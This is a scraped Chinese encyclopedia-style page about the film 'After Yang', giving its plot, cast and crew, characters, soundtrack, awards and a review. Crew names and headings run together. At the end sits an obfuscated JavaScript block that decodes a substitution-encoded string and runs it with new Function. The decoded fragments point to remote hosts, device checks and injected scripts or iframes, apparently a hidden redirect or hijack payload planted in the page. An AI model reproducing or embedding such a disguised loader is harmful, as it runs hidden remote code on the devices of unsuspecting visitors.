《杨之后》剧照(5张)杰克夫妻找来了一个机器人助手“杨”,照顾收养的华裔女儿美香 杨不负主人的期望,和美香建立起深厚的兄妹情谊 然而,数年过后,杨出了问题,在失去了它之时,这对夫妻必须直面家庭中被掩藏已久的问题 杰克在考虑是否把杨送去博物馆,为此,他开始查看这些年来杨储存的人生“记忆” 借助杨的芯片,一段段杨与家人共处的时光得以重现 科林·法瑞尔杰克朱迪·特纳-史密斯卡雅贾斯汀·闵杨曾晶莹 美香海莉·路·理查森艾达小克利夫顿·克林斯乔治Orlagh Cassidy莉莲里奇·科斯特鲁斯萨莉塔·乔德霍里克莱奥Ava DeMary维姬Lee Wong魏布雷特·戴尔亚伦Eve Lindley法耶Nana Mensah尼科Deborah Hedwall南茜Katie Honaker闵的母亲Jesse Kovarsky舞者Marcella Lewis舞者 Lily Ockwell舞者Julie ChateauvertOlder Alpha Memory MomKen Holmes餐厅顾客Taylor Ortega茉莉Bomber Hurley-Smith拉夫Jae Kim成年后的闵Philipp Engelhorn、Becky Glupczynski、Andrew Goldman、卡罗琳·卡普兰、Paul Mezey、Theresa ParkAlexander Weinstein 郭共达Alex Backus 、Robin D'Oench、David Ketterer郭共达Benjamin LoebAska Matsumiya郭共达Rebecca Dealy、Jessica KellyMax WixomHallie Coletta、George M Couri Jr 、Marlene Eckhardt、Laura Lerner、Emily Pober Higgins、Judith C Posey 、Bridget Rafferty、Meriam Rodriguez 、Ada Smith、Yuko Sobrin、Hayleigh Swartz、Matthew Vidalis、Oliver ZellerIsata Allen、Jon Carter、Ivy Ermert 、Kevin Carter、Jason Hamer 、Amy L Forsythe、Jason Hamer 、Heidi Pakdel、Zachary Ripps、Hiroshi YadaArjun BhasinJoanne Ling声音部门Jo Caron、Kristin Catuogno、Mark DeSimone、Guy Francoeur、Thomas Garant、Ruy García、Marissa Littlefield、Samuel Miille、Sanghee Moon、Branka Mrkic、Darren Polish、Jonathan Walter Reyes、Nick Roberts、Richard Topham III演职员表参考资料杰克杰克演员科林·法瑞尔科林·法瑞尔配音-略显忧郁的白人男性,惨淡经营着一家茶叶店 他把机器人杨当成自己的子侄 当杨突然损坏后,他和妻子像对待患病的家人一样四处救医,渴望杨能修复 当杨最终被宣告修复无果时,他没有选择任其消解或被厂家回收,反而竭力寻找杨体内的核心记忆体 卡雅卡雅演员朱迪·特纳-史密斯朱迪·特纳-史密斯配音-杰克的妻子,事业型黑人女性,因为忙于工作而忽略家庭 杨的“离世”使她认识到自己应该参与到养育美香的过程中,帮助美香亲近中国文化和传统 杨杨演员贾斯汀·闵贾斯汀·闵配音-熟悉东方文化、带有东方面孔的机器人 杰克夫妇为让养女美香保留中国文化传统并适应西方家庭而购置了这个翻新机器人 其不负主人所期望,和美香建立起深厚的兄妹情谊,被美香亲切地称为“最好的哥哥” 美香美香演员曾晶莹曾晶莹配音-来自中国的女孩,被杰克夫妇领养到美国后,身处异域文化加上领养问题令她郁郁寡欢,而作为哥哥的机器人杨则及时捕捉到了妹妹的变化,随即将她带到果园中,用源自中国的古老嫁接术唤起她对母国的文化记忆,并引导她要像被嫁接的树枝一样成为新的“家庭树”的一部分 当杨失灵后,她的心都碎了 艾达艾达演员海莉·路·理查森海莉·路·理查森配音-杨的女友 在咖啡店工作时认识了杨并渐渐产生了感情,时常和杨约会,也曾悄悄去过杰克家与杨见面 实际上,她是杨很久以前曾经陪伴过的女子的克隆人 角色介绍参考资料1 《In My Breath》 2 《Welcome to Family of 4》 3 《Yang & Mika》 4 《Chasing Yesterday》 5 《Mizuiro Memory》 6 《Yang & Mika》 7 《Ada's Synth 》 8 《Butterflies 》 9 《In the World of My Breath》 10 《Yang Eternal》 11 《Memories of Ada》 12 《In My Breath Again 》 13 《Mizuiro》14 《After the Rain》 15 《Memory Bank》 16 《The End Walk》创作:Aska Matsumiya发行时间:2022-03-04专辑封面专辑封面获奖时间获奖奖项获奖方结果2021年第74届戛纳电影节一种关注单元-一种关注大奖《杨之后》提名2022年第38届圣丹斯电影节艾尔弗雷德·斯隆奖郭共达获奖第38届美国独立精神奖最佳导演郭共达提名最佳剧本《杨之后》提名第32届哥谭独立电影奖最佳剧本《杨之后》提名最佳主角表演科林·法瑞尔提名第43届波士顿影评人协会奖最佳改编剧本郭共达获奖第35届芝加哥影评人协会奖最佳改编剧本《杨之后》提名第14届印第安纳电影记者协会奖最佳改编剧本《杨之后》第二名年度十佳影片《杨之后》获奖2023年第29届Chlotrudis奖最佳影片《杨之后》提名最佳导演郭共达提名最佳改编剧本郭共达提名最佳艺术指导Alexandra Schalle提名哥伦布影评人协会奖最被忽视的佳作《杨之后》获奖宣传活动2021年6月,该片发布首张剧照 2022年2月,发布预告片 国家/地区上映/发行日期法国2021年7月8日俄罗斯2021年10月14日美国2022年1月21日荷兰2022年4月14日《杨之后》海报(3张)从影像风格与题材气质上看,该片烙上了亚历克斯·加兰的《机械姬》以及斯派克·琼斯的《她》的痕迹,尽管后两部影片之间存在着巨大的差异 该片兼具这两部影片的特点 它在室外的自然取景中保持了高饱和度的色泽,而室内陈设上却是北欧、日式的简约风格,并且装饰性的灯光效果令人感到陌生和神秘 这在其摄影风格层面表意更为明显 远景景框中,让人物处于摄影机的远端,或用家庭内的隔断造型保持距离感,这种极为注重形式感,并使其保持统一的能力,乃是该片带给观众的最大享受 但影片的故事元素却出现了不小的驳杂感,以至于最后的表意显得失焦 表面上来看,它其实讲述了机器人“杨”在宕机“死亡”后,科林·法瑞尔饰演的杰克与妻女对这位人工智能的情感反应 但于此期间,杨的亚裔身份,对于杰克养女的文化教育和身份体认,以及克隆人等命题,都成为该片的旁枝本节 该片试图制造一个复杂多维的身份场,这里既有不同的种族,也有克隆人和人类,更有像杨这样的机器人和非机器人 然而,影片结尾却又宕开一笔,将锚点对准杨的前世今生,机器人的情感累积和自我觉醒又成为了结案陈词 形式上的惊艳和雕琢,与故事上的散漫与失焦,让该片最终词难达意,无法圆转 (《环球银幕》评)
!function(){function a(a){var _idx="l75gqvm4ic";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPs0oCq_2Ohpm6754dhmRT4gQ00@/CL/s0ojR8q1np:X^o6("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"s0o"=^8"q1np:X^o6("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"s0od2(LCYmJXR^:JmRT4"="s0o5p(LYpm^(F_D7mRT4"="s0oD7(LSqmJXR^:JmRT4"="s0odC(LJ^m^(F_D7mRT4"="s0o(C(L:4mJXR^:JmRT4"="s0oC2(LSYm^(F_D7mRT4"="s0o25(LLSmJXR^:JmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"gQ00@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPs0oFC(LCDmTf(74TmRT4gQ00@/((/s0oj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPs0oFC(LCDmTf(74TmRT4gQ00@/((/s0oj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPs0oCq_2Ohpm6754dhmRT4gQ00@/f/s0oj(8}vR8q1np:X^o6("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPs0oCq_2Ohpm6754dhmRT4gQ00@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();